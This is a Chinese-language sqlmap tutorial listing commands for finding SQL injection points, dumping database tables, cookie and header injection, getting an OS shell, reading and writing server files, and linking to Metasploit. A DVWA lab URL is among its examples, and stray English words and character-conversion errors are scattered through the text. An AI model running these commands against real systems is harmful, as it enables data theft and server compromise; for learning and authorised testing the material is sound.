SQLMAP工具的使用html
sql注入工具:明小子 啊D 蘿蔔頭 穿山甲 sqlmap等等python
開源自動化注入利用工具,支持12中數據庫,在/plugins中能夠看到支持的數據庫種類mysql
支持的注入類型:bool,時間,報錯,聯合,堆查詢,內聯web
能夠獲取用戶名 密碼 權限 角色 數據庫 (表,字段,內容)sql
能夠爆破識別密文數據:shell
getshell數據庫
命令執行後端
脫庫/刪庫cookie
目錄介紹oracle
doc介紹文檔
extra 他是sqlmap額外的功能,運行cmd執行命令
lib 是sqlmap核心功能代碼
pluigins包含12種數據庫識別程序
data 各類數據: procs包含了mssql mysql oracle postgresql 這四種數據庫的觸發程序
shell 遠程命令和後門
txt 表名 列名 UA字典
udf 存放攻擊載荷 payload
xml 存放檢測腳本
tamper 包含各類繞waf 處理腳本
thirdparty 包含了第三方插件,顏色,優化等等
sqlmap
工做流程
1.初始化
2.開始檢測
0>檢測以前是否注入過(會把檢測的URL默認存放在用戶家目錄下.sqlmap下的output
--output-dir參數能夠指定存放的目錄)
1>解析URL,判斷該URL是否能夠訪問
2>檢測是否有WAF
sqlmap -u "目標URL" --identify-waf
sqlmap -u "目標URL" --check-waf
3> 執行用戶輸入的參數
-u 指URL
-P 指定參數
-v 指定顯示的級別
--dbs 數據庫
--current-db 當前數據庫
--tables 表
--columns 列名
--dump 獲取數據,脫庫
--batch 跳過問詢(yes) 直接執行
--DBMS指定數據庫類型
--risk 等級太高會使用到drop,update 語句,請不要超過2,除非是本身實驗的數據庫
--v 顯示結果等級3.
步驟詳解:
1.判斷注入點:sqlmap -u "目標URL" //當看到探測到結果中有環境參數(系統類型,數據庫類型),則代表有注入點
2.查看全部數據庫:sqlmap -u "目標URL" --dbs --dbms mysql
3.獲取當前數據庫:sqlmap -u "目標URL" --current-db --dbms mysql
4.獲取當前數據庫下的表:sqlmap -u "目標url" -D 庫名 --tables --dbms mysql --tatch
5.獲取當前數據庫中指定表下的字段名:sqlmap -u "目標URL" -D 庫名 -T 表名 --columns
6.獲取指定字段對應的內容:sqlmap -u "目標URL" -D 庫名 -T 表名 -C 字段名 --dump(注意:多個字段名須要使用,隔開)
指定參數:
python sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli/?id=123&Submit=Submit#" -p id --cookie "security=low;PHPSESSID=ji8v90ct3smcr6nr2dr5bgr8d7"
cookie 注入:
python sqlmap.py -u "target" --cookie "uname=12" --level 2
python sqlmap.py -r bp攔截到的post包文檔 --level 2
level 2以上會測試http cookie頭的值.
level 3 以上會測試UA 和 HTTP referer頭的值
xff注入:
sqlmap -r post_xff.txt --level 3
ua注入
python sqlmap.py -r post_ua.txt --level 3 --dbms mysql --batch
僞靜態注入
python sqlmap.py -u "http://127.0.0.1/wjt/1*.html" //僞靜態要加*,代表1這個位置是注入點
批量測試
python sqlmap.py -m targeturl.txt -beep
SQLMAP注入點執行系統命令或者交互式shell
(條件:1,數據庫有寫文件的權限 2.須要知道web站點路徑)
sqlmap.py -u "target_url" --os-cmd=ipconfig 執行系統命令ipconfig
sqlmap.py -u "target_url" --os-shell 獲取系統的shell
sqlmap.py -u "target_url" --is-dba 判斷當前用戶是否是dba
延時注入 --delay 2 延時 2s注入
sqlmap.py -u "target_url" --delay 2
sqlmap --sql-query
sqlmap與msf結合使用
--os-pwn --msf-path /usr/share/metasploit-framework
--os-pwn用來與其餘工具結合
--msf-path 指定msf所在位置
sqlmap讀寫文件
–file-read=RFILE 從後端的數據庫管理系統文件系統讀取文件 (物理路徑)–file-write=WFILE 編輯後端的數據庫管理系統文件系統上的本地文件 (mssql xp_shell)–file-dest=DFILE 後端的數據庫管理系統寫入文件的絕對路徑